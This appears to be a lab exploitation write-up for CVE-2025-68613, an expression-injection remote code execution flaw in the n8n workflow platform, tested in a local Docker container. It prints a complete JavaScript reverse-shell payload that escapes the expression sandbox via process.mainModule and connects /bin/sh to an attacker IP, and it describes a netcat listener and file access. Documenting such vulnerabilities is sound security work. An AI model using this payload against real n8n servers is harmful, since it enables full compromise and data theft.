This report documents the successful exploitation of CVE-2025-68613, a critical Remote Code Execution (RCE) vulnerability in n8n workflow automation platform (CVSS 9.9). The vulnerability allows authenticated users to execute arbitrary system commands through expression injection in the workflow editor, leading to full container compromise and reverse shell access.
Key Findings:
The vulnerability exists in n8n's workflow expression evaluation system. User input wrapped in double curly braces {{ }} is evaluated as JavaScript code without proper sandboxing, allowing authenticated users to escape the expression context and access Node.js runtime objects, including the child_process module for system command execution.
#1: Docker Environment Verification

#2: Docker Compose File Created

#3: Starting n8n Container

#4: n8n Running Confirmation

#5: Owner Account Setup

#6: Main n8n Interface

#7: Creating Workflow
Clicked "Start from scratch" → Blank workflow canvas displayed

#8: Adding Manual Trigger
Searched for "manual" in node search → Selected "Manual Trigger" node → .Node added to workflow


#9: Adding Edit Fields Node
Connected to Manual Trigger node → Searched for "set" in node search → Selected "Edit Fields (Set)" node for payload injection


#10: EXPLOIT PAYLOAD ENTERED (CRITICAL)

Payload Breakdown:
#11: COMMAND EXECUTION RESULTS (CRITICAL)
Running as node user inside Docker container

#12: FILE SYSTEM ACCESS

#13: OS INFO AND DISK USAGE
Container OS (Alpine Linux) and resource monitoring

#14a: Network Configuration

#14b: Netcat Listener Preparation

#14c: Payload Used:

Full Payload:
{{ (function(){
var net = this.process.mainModule.require("net"),
cp = this.process.mainModule.require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "192.168.100.93", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
})() }}Payload Analysis:
#14d: REVERSE SHELL CONNECTION ESTABLISHED
Connection from container (172.18.0.2) to attacker (192.168.100.93)

#14e: INTERACTIVE COMMAND EXECUTION

Confirmed:
Authenticated User Access
↓
Workflow Creation
↓
Expression Injection ({{ malicious_code }})
↓
Sandbox Escape (this.process.mainModule)
↓
Module Loading (require('child_process'))
↓
System Command Execution
↓
Reverse Shell Establishment
↓
Full Container Compromise| Capability | Demonstrated | Impact Level |
|---|---|---|
| Command Execution | id, whoami, find | High |
| File System Access | SSL certificates discovery | Critical |
| Process Control | View running processes | High |
| Interactive Shell | Reverse shell with TTY | Critical |
| Network Access | Outbound connections | High |
| Data Exfiltration | File reading capabilities | Critical |
#15: CLEANUP PROCESS

environment:
- N8N_BLOCK_ENV_ACCESS_IN_NODE=true
- N8N_EXTERNAL_SECURE_FILES_ENABLED=false
- N8N_SECURITY_AUDIT_LOGGING_ENABLED=trueThe technical assessment confirms CVE-2025-68613 as a critical expression injection vulnerability leading to remote code execution in n8n workflow automation platform. Testing validated that the insufficient sandbox isolation in n8n's expression evaluation system allows authenticated users to access Node.js runtime objects, specifically the child_process module, enabling arbitrary command execution on the underlying container. The vulnerability was successfully exploited through multiple vectors, progressing from basic command execution to comprehensive file system access and ultimately establishing a persistent reverse shell session. These findings substantiate the CVSS 9.9 rating, demonstrating both low attack complexity and high impact across confidentiality, integrity, and availability domains.
Author: Omar Khadrawi
Affiliation: Skidz.io
Testing Information: